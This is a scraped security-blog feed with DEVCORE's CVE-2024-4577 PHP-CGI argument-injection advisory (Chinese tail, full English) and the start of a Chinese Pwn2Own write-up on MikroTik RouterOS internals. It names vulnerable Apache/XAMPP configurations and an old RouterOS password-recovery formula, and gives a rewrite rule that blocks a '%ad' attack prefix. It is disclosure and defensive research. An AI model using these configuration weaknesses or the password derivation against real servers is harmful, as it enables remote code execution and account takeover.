<span class="nc">Action</span> application/x-httpd-php-cgi "/php-cgi/php-cgi.exe" </code></pre></div></div> <h3 id="情境二-將-php-執行檔暴露在外-xampp-預設安裝設定">情境二: 將 PHP 執行檔暴露在外 (XAMPP 預設安裝設定)</h3> <p>即使未設定 PHP 於 CGI 模式下執行,僅將 PHP 執行檔暴露在 CGI 目錄下也受此弱點影響,常見情況包含但不限於:</p> <ol> <li>將 <code class="language-plaintext highlighter-rouge">php.exe</code> 或 <code class="language-plaintext highlighter-rouge">php-cgi.exe</code> 複製到 <code class="language-plaintext highlighter-rouge">/cgi-bin/</code> 目錄中</li> <li>將 PHP 安裝目錄透過 <code class="language-plaintext highlighter-rouge">ScriptAlias</code> 暴露到外,如: <pre><code class="language-apache2="> ScriptAlias /php-cgi/ "C:/xampp/php/" </code></pre> </li> </ol> <h2 id="修補建議">修補建議</h2> <p>強烈建議所有使用者升級至 PHP 官方最新版本 <a href="https://www.php.net/downloads">8.3.8</a>、<a href="https://www.php.net/downloads">8.2.20</a> 與 <a href="https://www.php.net/downloads">8.1.29</a>,對於無法升級的系統可透過下列方式暫時緩解弱點。</p> <p>除此之外,由於 PHP CGI 已是一種過時且易於出現問題的架構,也建議評估遷移至較為安全的 Mod-PHP、FastCGI 或是 PHP-FPM 等架構可能性。</p> <h3 id="1-對無法更新-php-的使用者">1. 對無法更新 PHP 的使用者</h3> <p>可透過下列 Rewrite 規則阻擋攻擊,請注意<strong>此份規則只作為繁體中文、簡體中文及日文語系中的暫時性緩解機制</strong>,實務上仍建議更新到已修復版本或更改架構。</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteEngine</span> <span class="ss">On</span> <span class="nc">RewriteCond</span> %{QUERY_STRING} ^%ad [NC] <span class="nc">RewriteRule</span> .? - [F,L] </code></pre></div></div> <h3 id="2-對-xampp-for-windows-使用者">2. 對 XAMPP for Windows 使用者</h3> <p>在撰寫本文的當下,XAMPP 尚未針對此漏洞釋出相對應的更新安裝檔,如確認自身的 XAMPP 並無使用到 PHP CGI 之功能,可透過修改下列 Apache Httpd 設定檔以避免暴露在弱點中:</p> <blockquote> <p>C:/xampp/apache/conf/extra/httpd-xampp.conf</p> </blockquote> <p>找到相對應的設定行數:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">ScriptAlias</span> /php-cgi/ "C:/xampp/php/" </code></pre></div></div> <p>並將其註解:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ScriptAlias /php-cgi/ "C:/xampp/php/"</span> </code></pre></div></div> <h2 id="漏洞回報時間軸">漏洞回報時間軸</h2> <ul> <li>2024/05/07 - DEVCORE 透過 PHP 官方弱點通報頁面回報此問題。</li> <li>2024/05/07 - PHP 開發者確認弱點並強調要盡快修復。</li> <li>2024/05/16 - PHP 開發者釋出第一版修復並尋求建議。</li> <li>2024/05/18 - PHP 開發者釋出第二版修復並尋求建議。</li> <li>2024/05/20 - PHP 進入新版本發布準備。</li> <li>2024/06/06 - PHP 發布新版本 <a href="https://www.php.net/downloads">8.3.8</a>、<a href="https://www.php.net/downloads">8.2.20</a> 與 <a href="https://www.php.net/downloads">8.1.29</a>。</li> </ul> <h2 id="參考資料">參考資料</h2> <ul> <li><a href="https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv">PHP Security Advisory - PHP RCE: A Bypass of CVE-2012-1823, Argument Injection in PHP-CGI</a> (to be announced)</li> <li><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ucoderef/d1980631-6401-428e-a49d-d71394be7da8">MS-UCODEREF - Windows Protocols Unicode Reference</a></li> <li><a href="https://www.kb.cert.org/vuls/id/520827">CERT/CC VU#520827 - PHP-CGI query string parameter vulnerability</a></li> </ul> https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/ https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability Thu, 06 Jun 2024 00:00:00 +0800 Security Alert: CVE-2024-4577 - PHP CGI Argument Injection Vulnerability <p><a href="/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/">English Version</a>, <a href="/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/">中文版本</a></p> <p>During DEVCORE’s <a href="https://devco.re/en/research/overview/">continuous offensive research</a>, our team discovered a remote code execution vulnerability in PHP. Due to the widespread use of the programming language in the web ecosystem and the ease of exploitability, DEVCORE classified its severity as critical, and promptly reported it to the PHP official team. The official team released a patch on 2024/06/06. Please refer to the <a href="#Timeline">timeline</a> for disclosure details.</p> <h2 id="description">Description</h2> <p>While implementing PHP, the team did not notice the <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ucoderef/d1980631-6401-428e-a49d-d71394be7da8">Best-Fit</a> feature of encoding conversion within the Windows operating system. This oversight allows unauthenticated attackers to bypass the previous protection of <a href="https://www.kb.cert.org/vuls/id/520827">CVE-2012-1823</a> by specific character sequences. Arbitrary code can be executed on remote PHP servers through the argument injection attack.</p> <h2 id="impact">Impact</h2> <p>This vulnerability <strong>affects all versions of PHP installed on the Windows operating system</strong>. Please refer to the table below for details:</p> <ul> <li>PHP 8.3 &lt; 8.3.8</li> <li>PHP 8.2 &lt; 8.2.20</li> <li>PHP 8.1 &lt; 8.1.29</li> </ul> <p>Since the branch of PHP 8.0, PHP 7, and PHP 5 are <a href="https://www.php.net/eol.php">End-of-Life</a>, and are no longer maintained anymore, server admins can refer to the <a href="#am-i-vulnerable">Am I Vulnerable</a> section to find temporary patch recommendations in the <a href="#mitigation-measure">Mitigation Measure</a> section.</p> <h2 id="am-i-vulnerable">Am I Vulnerable?</h2> <p>For the usual case of combinations like Apache HTTP Server and PHP, server administrators can use the two methods listed in this article to determine whether their servers are vulnerable or not. It’s notable to address that Scenario-2 is also the default configuration for <a href="https://www.apachefriends.org/">XAMPP for Windows</a>, so <strong>all versions of XAMPP installations on Windows are vulnerable by default</strong>.</p> <p>As of this writing, it has been verified that when the Windows is running in the following locales, <strong>an unauthorized attacker can directly execute arbitrary code on the remote server</strong>:</p> <ul> <li>Traditional Chinese (Code Page 950)</li> <li>Simplified Chinese (Code Page 936)</li> <li>Japanese (Code Page 932)</li> </ul> <p>For Windows running in other locales such as English, Korean, and Western European, due to the wide range of PHP usage scenarios, it is currently not possible to completely enumerate and eliminate all potential exploitation scenarios. Therefore, it is recommended that users conduct a comprehensive asset assessment, verify their usage scenarios, and update PHP to the latest version to ensure security.</p> <h3 id="scenario-1-running-php-under-cgi-mode"><strong>Scenario 1</strong>: Running PHP under CGI mode</h3> <p>When configuring the <code class="language-plaintext highlighter-rouge">Action</code> directive to map corresponding HTTP requests to a PHP-CGI executable binary in Apache HTTP Server, this vulnerability can be exploited directly. Common configurations affected include, but are not limited to:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">AddHandler</span> cgi-script .php <span class="nc">Action</span> cgi-script "/cgi-bin/php-cgi.exe" </code></pre></div></div> <p>Or</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">&lt;</span><span class="nl">FilesMatch</span><span class="sr"> "\.php$"</span><span class="p">&gt; </span> <span class="nc">SetHandler</span> application/x-httpd-php-cgi <span class="p">&lt;/</span><span class="nl">FilesMatch</span><span class="p">&gt; </span> <span class="nc">Action</span> application/x-httpd-php-cgi "/php-cgi/php-cgi.exe" </code></pre></div></div> <h3 id="scenario-2-exposing-the-php-binary-also-the-default-xampp-configuration"><strong>Scenario 2</strong>: Exposing the PHP binary (also the default XAMPP configuration)</h3> <p>Even if PHP is not configured under the CGI mode, merely exposing the PHP executable binary in the CGI directory is affected by this vulnerability, too. Common scenarios include, but are not limited to:</p> <ol> <li>Copying <code class="language-plaintext highlighter-rouge">php.exe</code> or <code class="language-plaintext highlighter-rouge">php-cgi.exe</code> to the <code class="language-plaintext highlighter-rouge">/cgi-bin/</code> directory.</li> <li>Exposing the PHP directory via <code class="language-plaintext highlighter-rouge">ScriptAlias</code> directive, such as: <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="nc">ScriptAlias</span> /php-cgi/ "C:/xampp/php/" </code></pre></div> </div> </li> </ol> <h2 id="mitigation-measure">Mitigation Measure</h2> <p>It is strongly recommended that all users upgrade to the latest PHP versions of <a href="https://www.php.net/downloads">8.3.8</a>, <a href="https://www.php.net/downloads">8.2.20</a>, and <a href="https://www.php.net/downloads">8.1.29</a>. For systems that cannot be upgraded, the following instructions can be used to temporarily mitigate the vulnerability.</p> <p>However, since PHP CGI is an outdated and problematic architecture, it’s still recommended to evaluate the possibility of migrating to a more secure architecture such as Mod-PHP, FastCGI, or PHP-FPM.</p> <h3 id="1-for-users-who-cannot-upgrade-php">1. For users who cannot upgrade PHP:</h3> <p>The following Rewrite Rules can be used to block attacks. Please note that <strong>these rules are only a temporary mitigation for Traditional Chinese, Simplified Chinese, and Japanese locales</strong>. It is still recommended to update to a patched version or migrate the architecture in practice.</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RewriteEngine</span> <span class="ss">On</span> <span class="nc">RewriteCond</span> %{QUERY_STRING} ^%ad [NC] <span class="nc">RewriteRule</span> .? - [F,L] </code></pre></div></div> <h3 id="2-for-users-who-use-xampp-for-windows">2. For users who use XAMPP for Windows:</h3> <p>XAMPP has not yet released corresponding update files for this vulnerability at the time of writing this article. If you confirm that you do not need the PHP CGI feature, you can avoid exposure to the vulnerability by modifying the following Apache HTTP Server configuration:</p> <blockquote> <p>C:/xampp/apache/conf/extra/httpd-xampp.conf</p> </blockquote> <p>Locating the corresponding lines:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">ScriptAlias</span> /php-cgi/ "C:/xampp/php/" </code></pre></div></div> <p>And comment it out:</p> <div class="language-apache highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ScriptAlias /php-cgi/ "C:/xampp/php/"</span> </code></pre></div></div> <h2 id="timeline">Timeline</h2> <ul> <li>2024/05/07 - DEVCORE reported this issue through the official PHP vulnerability disclosure page.</li> <li>2024/05/07 - PHP developers confirmed the vulnerability and emphasized the need for a prompt fix.</li> <li>2024/05/16 - PHP developers released the first version of the fix and asked for feedback.</li> <li>2024/05/18 - PHP developers released the second version of the fix and asked for feedback.</li> <li>2024/05/20 - PHP entered the preparation phase for the new version release.</li> <li>2024/06/06 - PHP released new versions <a href="https://www.php.net/downloads">8.3.8</a>, <a href="https://www.php.net/downloads">8.2.20</a>, and <a href="https://www.php.net/downloads">8.1.29</a>.</li> </ul> <h2 id="reference">Reference</h2> <ul> <li><a href="https://github.com/php/php-src/security/advisories/GHSA-3qgc-jrrr-25jv">PHP Security Advisory - PHP RCE: A Bypass of CVE-2012-1823, Argument Injection in PHP-CGI</a> (to be announced)</li> <li><a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-ucoderef/d1980631-6401-428e-a49d-d71394be7da8">MS-UCODEREF - Windows Protocols Unicode Reference</a></li> <li><a href="https://www.kb.cert.org/vuls/id/520827">CERT/CC VU#520827 - PHP-CGI query string parameter vulnerability</a></li> </ul> https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en/ https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability-en Thu, 06 Jun 2024 00:00:00 +0800 Pwn2Own Toronto 2022 : A 9-year-old bug in MikroTik RouterOS <p><a href="/blog/2024/05/24/pwn2own-toronto-2022-a-9-year-old-bug-in-mikrotik-routeros-en/">English Version</a>, <a href="/blog/2024/05/24/pwn2own-toronto-2022-a-9-year-old-bug-in-mikrotik-routeros/">中文版本</a></p> <h2 id="tldr">TL;DR</h2> <p>DEVCORE 研究組在 Pwn2Own Toronto 2022 白帽駭客競賽期間,透過研究過去少有人注意到的攻擊面,在 MikroTik 旗下路由器產品所使用的 RouterOS 作業系統中,發現了存在九年之久的 WAN 端弱點,透過串連該弱點與另一個同樣由 DEVCORE 發現的 Canon printer 弱點,DEVCORE 成為史上第一個在 Pwn2Own 賽事中成功挑戰 SOHO Smashup 項目的隊伍;最終 DEVCORE 在 Pwn2Own Toronto 2022 奪下冠軍,並獲頒破解大師(Master of Pwn)的稱號。</p> <p>該 WAN 端弱點發生在 RouterOS 中的 radvd 程式,由於該程式在處理 IPv6 SLAAC 的 ICMPv6 封包時,未對 RDNSS 欄位的長度進行檢查,導致攻擊者可透過發送兩次 Router Advertisement 封包觸發緩衝區溢位攻擊,使得攻擊者可在不需登入且無需使用者互動的情況下控制路由器底層的 Linux 系統進行高權限操作,取得路由器的完整控制權;此弱點被登記為 CVE-2023-32154,其 CVSS 分數為 7.5。</p> <p>針對上述弱點, DEVCORE 已於 2022/12/29 經由 <a href="https://www.zerodayinitiative.com/advisories/ZDI-23-710/">ZDI</a> 回報 MikroTik 處理,並在 2023/05/19 完成修補,以下 RouterOS 版本已經對此弱點進行修補:</p> <ul> <li>Long-term Release 6.48.7</li> <li>Stable Release 6.49.8</li> <li>Stable Release 7.10</li> <li>Testing Release 7.10rc6</li> </ul> <h2 id="pwn2own-與-soho-smashup-簡介">Pwn2Own 與 SOHO Smashup 簡介</h2> <p>Pwn2Own 是一系列由趨勢科技的 Zero Day Initiative(ZDI)主辦的比賽,每場賽事都會針對該次主題挑選一些熱門的產品作為目標,例如:作業系統、瀏覽器、電動車、工控系統、路由器、印表機、智慧音箱、手機、NAS、網路攝影機……等等。只要參賽隊伍可以在無需使用者互動、設備處於預設狀態、軟體更新至最新版本的條件下,演示攻擊並成功獲得設備的主控權,就可以獲得相應的 Master of Pwn 點數和獎金。賽末結算時,Master of Pwn 點數最高的隊伍就是冠軍,也被稱為破解大師(Master of Pwn)。</p> <p>前幾年由於疫情的關係,Work From Home 或是 SOHO(即小型辦公/家庭辦公)變得非常普遍,因此 2022 的 Pwn2Own Toronto 也新增了一個稱作 SOHO Smashup 的特別項目,參賽者需要從 WAN 端入侵路由器後,再將路由器作為跳板攻擊居家常見的設備,例如:智慧音響、印表機等設備。</p> <p>這個特別的新項目,除了獎金是所有項目中第二高的 $100,000(USD)之外,得分也是最高的十分,因此如果目標是奪冠,奪下這個項目絕對是如虎添翼!DEVCORE 在本次賽事中也特別挑選較少人研究的 MikroTik 作為目標,避免與他人找到重複的漏洞(與其他人撞洞時,獎金與得分皆減半),最大化奪冠的機率。</p> <h2 id="routeros-簡介">RouterOS 簡介</h2> <p>MikroTik 開發的 RouterOS 是一套基於 Linux 核心的作業系統,也是 MikroTik 旗下產品 「RouterBoard」上預設安裝的作業系統,RouterOS 亦可被安裝在個人電腦上,用來將電腦作為路由器使用。</p> <p>雖然基於 Linux 核心開發的 RouterOS 確實有使用 GPL 授權的開源軟體,但如果想要得到相關的程式碼,根據官方網站 <a href="https://web.archive.org/web/20220603140018/https://mikrotik.com/downloadterms.html">downloadterms</a> 的說明,需要匯 45 塊美金給 MikroTik ,他們才會寄給你一張燒好 GPL source 的光碟,非常有趣的想法!幸好已經有人將 MikroTik 的 <a href="https://github.com/robimarko/routeros-GPL">GPL source</a>上傳到 Github,但在檢視過後,我們認為裡面的程式碼對於後續分析沒有太大的幫助。</p> <h3 id="routeros-v7-與-routeros-v6">RouterOS v7 與 RouterOS v6</h3> <p>在 MikroTik 官網的下載頁面上同時存在 RouterOS v7 以及 RouterOS v6 兩個版本,兩者之間的關係比較像是 RouterOS 的不同 branch,在設計上大同小異。因為我們的目標設備 RouterBoard RB2011UiAS-IN 預設安裝的是 RouterOS v6,所以我們先以 RouterOS v6 作為研究對象。</p> <p><img src="/assets/img/blog/20240524/1.png" alt="" /></p> <p>RouterOS 並沒有正式提供一個方法讓使用者直接管理底層的 Linux 系統,使用者被關在一個功能受限的 console 裡面,只能使用 RouterOS 提供的有限指令去管理這台路由器。因此過去有不少研究是關於如何 jailbreak RouterOS。</p> <p><img src="/assets/img/blog/20240524/2.png" alt="" /></p> <p>RouterOS 上的 binary 之間使用一種 MikroTik 自製的 IPC 進行溝通,此 IPC 利用稱為 nova message 的資料結構在各程式間交換資訊,因此我們將這類 binary 統一稱作 nova binary。</p> <p>另外,RouterOS 還存在一個比較特別的攻擊面。在日常應用中,使用者可以透過 WinBox 這套 GUI 管理工具在 Windows 電腦上對 RouterOS 進行遠端管理,其原理是透過 TCP 向路由器傳送 nova message。因此若 RouterOS 沒有針對 nova message 做好權限驗證時,攻擊者就有機會自遠端發送一個夾帶惡意 nova message 的 TCP 封包入侵路由器;不過 WinBox 預設僅能從 LAN 端使用,對我們來說不是優先事項,因為這次的目標是從 WAN 端進行攻擊!</p> <p><img src="/assets/img/blog/20240524/3.png" alt="" /></p> <h2 id="cve-回顧">CVE 回顧</h2> <p>首先,為了熟悉 RouterOS 的攻擊面,我們全面審視了過去的 CVE。當時與 RouterOS 有關的 CVE 總共有 80 個,而當中可被用來在 pre-auth 情境下進行攻擊,且目標是路由器本身的共有 28 個 。</p> <p><img src="/assets/img/blog/20240524/4.png" alt="" /></p> <p>28 個 CVE 當中有 4 個 CVE 的使用情境是較符合 Pwn2Own 規則所描述的情境,這些 CVE 可以讓攻擊者在不需使用者互動的情況下在路由器上喚起一個 shell 或登入為 admin。這 4 個漏洞當中,有 3 個是在 2017 年至 2019 年這段時間被發現的,而且當中 3 個是「in the wild」而不是第一時間經由白帽駭客主動通報,這四個漏洞分別是:</p> <ul> <li>CVE-2017-20149:又稱 Chimay-Red,是 2017 年從 CIA 外洩的武器庫「Vault 7」中,針對 RouterOS 進行攻擊的漏洞之一。漏洞發生在 RouterOS 解析 HTTP 請求時,若 HTTP headers 中的 Content-Length 是負值,會造成 Integer Underflow,搭配 Stack Clash 的攻擊手法就能控制程式流程達成 RCE。</li> <li><a href="https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1">CVE-2018-7445</a>:是一個存在於 RouterOS 自己實做的 SMB 中的 buffer overflow。這是透過黑箱模糊測試找到的漏洞,也是四個漏洞中唯一一個由發現者自行回報的漏洞,一樣能夠控制程式執行流程最後達成 RCE,但 SMB 不是預設開啟的服務。</li> <li>CVE-2018-14847:也是「Vault 7」中針對 RouterOS 進行攻擊的漏洞之一。這個漏洞使攻擊者可以不需登入就讀取任意檔案,乍聽之下好像不是大問題,但由於在 RouterOS 的早期版本中,使用者的密碼是以 <code class="language-plaintext highlighter-rouge">password xor md5(username + "283i4jfkai3389")</code> 的方式儲存在檔案中,所以只要能夠讀取這個檔案,攻擊者就可以逆算得到 admin 的密碼。</li> <li><a href="https://teamt5.org/en/posts/vulnerability-mikrotik-cve-2021-41987/">CVE-2021-41987</a>:在 SCEP 服務的 base64 解碼過程中,因為長度計算錯誤導致的 heap buffer overflow 漏洞,這是資安研究員分析了 APT 在其 C2 server 上的 exploit 後反推出來的漏洞。</li> </ul> <p>可以發現,這些漏洞大多是「in the wild」,我們無從得知當初發現漏洞的人是如何進行分析及思考。因此關於分析 RouterOS 的思路或是技巧,透過這些漏洞能學習到的十分有限。</p> <h2 id="相關研究回顧">相關研究回顧</h2> <p>我們繼續研讀公開的研究資料,在比賽的當下我們有這些文章以及演講可以參考:</p> <ul> <li>2017 <ul> <li><a href="https://kirils.org/slides/2017-08-06_prez_SHA_MT_pub.pdf">Kirils. Rooting the MikroTik routers</a> <ul> <li>主要關於 jailbreak</li> </ul> </li> <li><a href="https://kirils.org/slides/2017-09-15_prez_15_MT_Balccon_pub.pdf">Kirils. A deeper journey into MikroTik routers</a> <ul> <li>主要關於 jailbreak</li> </ul> </li> <li><a href="https://kirils.org/slides/2017-10-21_MT_Hacktivity_pub.pdf">Kirils. Tools for effortless reverse engineering of MikroTik routers</a> <ul> <li>主要關於 jailbreak</li> </ul> </li> </ul> </li> <li>2018 <ul> <li><a href="https://github.com/tenable/routeros">Jacob Baines. Bug Hunting in RouterOS</a> <ul> <li>探討 IPC 中的 nova message 的運作</li> </ul> </li> </ul> </li> <li>2019 <ul> <li><a href="https://medium.com/tenable-techblog/make-it-rain-with-mikrotik-c90705459bc6">Jacob Baines. Make It Rain with MikroTik</a> <ul> <li>與 2018 的演講內容相同</li> </ul> </li> <li><a href="https://medium.com/tenable-techblog/mikrotik-firewall-nat-bypass-b8d46398bf24">Jacob Baines. MikroTik Firewall &amp; NAT Bypass</a> <ul> <li>當時的 WinBox 存在一個弱點:當暴露在外網時,可以被用來對內網進行掃描</li> </ul> </li> <li><a href="https://medium.com/@maxi./finding-and-exploiting-cve-2018-7445-f3103f163cc1">Maximiliano Vidal, Juan Caillava. Finding and exploiting CVE-2018–7445</a> <ul> <li>透過黑箱模糊測試找到 SMB 中的 Buffer Overflow 以及完整 exploit 方法</li> </ul> </li> <li><a href="https://mum.mikrotik.com/presentations/ID18/presentation_6149_1540240927.pdf">Tomas Kirnak. Deep-dive: MikroTik exploits - a security analysis</a> <ul> <li>討論 CIA 武器庫「Vault 7」外洩後所造成的大規模利用事件</li> </ul> </li> <li><a href="https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-Jacob-Baines-Help-Me-Vulnerabilities.-Youre-My-Only-Hope.pdf">Jacob Baines. Help Me Vulnerabilities You’re My Only Hope</a> <ul> <li>釋出一套協助使用者 jailbreak RouterOS 的工具,讓使用者有能力檢查自己的機器是否在大規模利用事件中被入侵</li> </ul> </li> <li><a href="https://medium.com/tenable-techblog/routeros-chain-to-root-f4e0b07c0b21">Jacob Baines. RouterOS: Chain to Root</a> <ul> <li>如何透過串連 DNS poisoning 弱點及降版弱點拿到 shell</li> </ul> </li> </ul> </li> <li>2022 <ul> <li><a href="https://teamt5.org/en/posts/vulnerability-mikrotik-cve-2021-41987/">D39. Vulnerability Exposure &amp; Notification on Mikrotik (CVE-2021-41987)</a> <ul> <li>在 APT 的 C2 server 上發現一個利用 RouterOS 0-day 的武器,透過分析找到漏洞的成因</li> </ul> </li> <li><a href="https://margin.re/2022/06/pulling-mikrotik-into-the-limelight/">Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight</a> <ul> <li>更詳細地闡述了 RouterOS 的 IPC 機制,並且釋出一套稱作 FOISted 的 jailbreak 工具協助研究員在 amd64 版本的 RouterOS 上進行近一步的研究</li> </ul> </li> <li><a href="https://powerofcommunity.net/poc2022/QianChen.pdf">Qian Chen. MikroTik RouterOS Security: The Forgotten IPC Message</a> <ul> <li>透過模糊測試在 IPC 中挖掘漏洞</li> </ul> </li> </ul> </li> </ul> <h2 id="ipc-與-nova-message-回顧">IPC 與 Nova Message 回顧</h2> <p>可以發現上述的研究大部分都離不開 RouterOS 的自製 IPC,所以我們也簡單的對其機制進行了回顧。 這裡使用一個簡單的例子對 IPC 進行說明。</p> <p>日常使用場景中,使用者可以透過 telnet 登入至 RouterOS,並使用 conolse 對路由器進行管理。 <img src="/assets/img/blog/20240524/5.png" alt="" /></p> <p>讓我們拆解整個流程中 IPC 參與的部分:</p> <ol> <li>當使用者欲透過 telnet 存取 RouterOS 的 console 時,<code class="language-plaintext highlighter-rouge">telnet</code> process 會使用 <code class="language-plaintext highlighter-rouge">execl</code> 去執行 <code class="language-plaintext highlighter-rouge">login</code> 這個程式,並向使用者索取帳號及密碼。 <img src="/assets/img/blog/20240524/6.png" alt="" /></li> <li>當使用者送出帳號密碼之後,<code class="language-plaintext highlighter-rouge">login</code> process 會將帳號密碼放進 nova message 中,發送至 <code class="language-plaintext highlighter-rouge">user</code> process 請求驗證 <img src="/assets/img/blog/20240524/7.png" alt="" /></li> <li><code class="language-plaintext highlighter-rouge">user</code> process 完成驗證後,透過 nova message 通知驗證的結果 <img src="/assets/img/blog/20240524/8.png" alt="" /></li> <li>如果登入成功就會喚起 <code class="language-plaintext highlighter-rouge">console</code> process,接下來使用者與 <code class="language-plaintext highlighter-rouge">console</code> 互動的過程都是透過 <code class="language-plaintext highlighter-rouge">login</code> process 轉發</li> </ol> <h3 id="ipc-簡介">IPC 簡介</h3> <p>上面的例子簡單地描述了 IPC 的基本概念,但兩個 process 間的溝通實際上更加複雜。首先,每個送往其他程式的 nova message 都會先透過 socket 被送往 <code class="language-plaintext highlighter-rouge">loader</code>,接著 <code class="language-plaintext highlighter-rouge">loader</code> 才根據 message 內容把 message 分派給對應的 nova binary。</p> <p>讓我們舉一個簡單的例子來說明:假設 <code class="language-plaintext highlighter-rouge">login</code> process 的 id 是 1039;<code class="language-plaintext highlighter-rouge">user</code> process 的 id 是 13,且 <code class="language-plaintext highlighter-rouge">user</code> process 中負責驗證帳號密碼的是 id 為 4 的 handler。 則在登入驗證流程中,<code class="language-plaintext highlighter-rouge">login</code> process 首先會送一個包含帳號密碼的請求給 <code class="language-plaintext highlighter-rouge">user</code> process,這時的 <code class="language-plaintext highlighter-rouge">SYS_TO</code> 是一個包含兩個元素的陣列:<code class="language-plaintext highlighter-rouge">[13, 4]</code> ,表示要把 message 送給 binary id 為 13 的 process 中 id 為 4 的 handler。</p> <p><img src="/assets/img/blog/20240524/9.png" alt="" /></p> <p>當 <code class="language-plaintext highlighter-rouge">loader</code> 收到 message 後,它會先移除 message 內 <code class="language-plaintext highlighter-rouge">SYS_TO</code> 中代表目標 binary id 的 13,並在 SYS_FROM 中增加來源 binary 的 id,也就是 1039,之後把 message 傳送給 <code class="language-plaintext highlighter-rouge">user</code> process。</p> <p><img src="/assets/img/blog/20240524/10.png" alt="" /></p> <p><code class="language-plaintext highlighter-rouge">user</code> process 收到 message 後也會做類似的事情,將<code class="language-plaintext highlighter-rouge">SYS_TO</code> 中代表目標 handler id 的 4 移除後,接著把 nova message 送至 handler 4 進行處理,最終由 handler 4 執行驗證的邏輯。</p> <p><img src="/assets/img/blog/20240524/11.png" alt="" /></p> <h3 id="nova-message-簡介">Nova Message 簡介</h3> <p>而上述 IPC 中使用的 nova message 是由 <code class="language-plaintext highlighter-rouge">nv::message</code> 及相關的 function 進行初始化與設定。Nova message 實際上是由具有型別的 key-value pair 構成,且 key 只能是整數,所以 <code class="language-plaintext highlighter-rouge">SYS_TO</code> 及 <code class="language-plaintext highlighter-rouge">SYS_FROM</code> 等 key 只是單純的 macro 罷了。而 nova message 中可以使用的型別包括 u32, u64, bool, string, bytes, IP 及 nova message (也就是可以建立巢狀的 nova message)。</p> <p><img src="/assets/img/blog/20240524/12.png" alt="" /></p> <p>因為 RouterOS 已不用 JSON 來傳遞 nova message,所以我們只針對 binary 格式進行說明。在 IPC 溝通過程中,收方的 socket 首先會收到一個表達當前 nova message 長度的整數,之後接著 binary 格式的 nova message。 <img src="/assets/img/blog/20240524/13.png" alt="" /></p> <p>Nova message 的開頭是兩個 magic bytes:<code class="language-plaintext highlighter-rouge">M2</code>。接下來,每個 key 都使用 4 bytes 來描述;其中,前 3 bytes 用來表達 key 的 id,最後一個 byte 是 key 的型別。根據型別,會以不同解析方式將緊接在後的 bytes 取出作為 data,取完 data 之後,後面緊接著的便是下一個 key,如此循環下去。當中比較特別的是 bool 型別,因為 bool 可以僅用一個 bit 表示,nova message 便直接使用 type 的最低一位 bit 來表示 True/False,更詳細的格式可以參考 <a href="https://margin.re/2022/06/pulling-mikrotik-into-the-limelight/">Ian Dupont, Harrison Green. Pulling MikroTik into the Limelight</a>: <img src="/assets/img/blog/20240524/14.png" alt="" /></p> <h3 id="x3-format">x3 format</h3> <p>為了瞭解 nova message 中 <code class="language-plaintext highlighter-rouge">SYS_TO</code> 及 <code class="language-plaintext highlighter-rouge">SYS_FROM</code> 的 id 具體是指哪一個 nova binary,我們需要解析一種副檔名為 x3 的檔案,它是 binary 格式的 xml。在撰寫工具解析 <code class="language-plaintext highlighter-rouge">/nova/etc/loader/system.x3</code> 後,我們便可得知每個 id 所對應的是哪個 nova binary,例如在下圖中,<code class="language-plaintext highlighter-rouge">/nova/bin/log</code> 的 id 就是 3。</p> <p><img src="/assets/img/blog/20240524/15.png" alt="" /></p> <p>但有些 binary 的 id 並不在這個檔案當中,是因為該 binary 可能是透過安裝 MikroTik 官方提供的 package 之後才有的功能,此時 binary 的 id 就會存在於 <code class="language-plaintext highlighter-rouge">/ram/pckg/&lt;package_name&gt;/nova/etc/loader/&lt;package_name&gt;.x3</code> 當中,<code class="language-plaintext highlighter-rouge">radvd</code> 就是一例。 <img src="/assets/img/blog/20240524/16.png" alt="" /></p> <p>儘管如此,依舊有些 binary id 是無法在任何 .x3 檔案中找到的,因為這類型的 process 並不是持久存在,例如:只有使用者嘗試登入時才會被喚起的 <code class="language-plaintext highlighter-rouge">login</code> process,這類 process 就以流水號作為 id。</p> <p>另外,.x3 檔案也被用來記錄 nova binary 的相關設定,例如 <code class="language-plaintext highlighter-rouge">www</code> 就在 .x3 中指定每個 URI 應該使用哪一個 servlet 來進行處理。 <img src="/assets/img/blog/20240524/17.png" alt="" /></p> <h2 id="小結">小結</h2> <p>經由回顧了過去的研究及 CVE,可以發現大多我們感興趣的漏洞都集中在過去的一段時間內,近期似乎很難在 RouterOS 的 WAN 端找到 pre-auth 的漏洞。 且雖然這期間持續有漏洞被揭露,但可以發現 MikroTik 變得越來越安全。MikroTik 上真的已經不存在 pre-auth 的漏洞了嗎?或許單純只是所有人都把什麼東西漏看了?</p> <p>前面提及的公開研究,可以簡單分成下面三類:</p> <ul> <li>越獄(Jailbreaking)</li> <li>分析在野的 exploit</li> <li>研究 IPC 中的 nova message</li> </ul> <p>然而在逆向 RouterOS 上的 binary 一段時間之後,我們發現整個系統的複雜度不僅於此,但卻沒什麼人提及相關細節。因此有了以下的感想:「沒有任何理智正常的人想要花時間逆向 nova binary」。</p> <p>除了從 CIA 及 APT 取得的 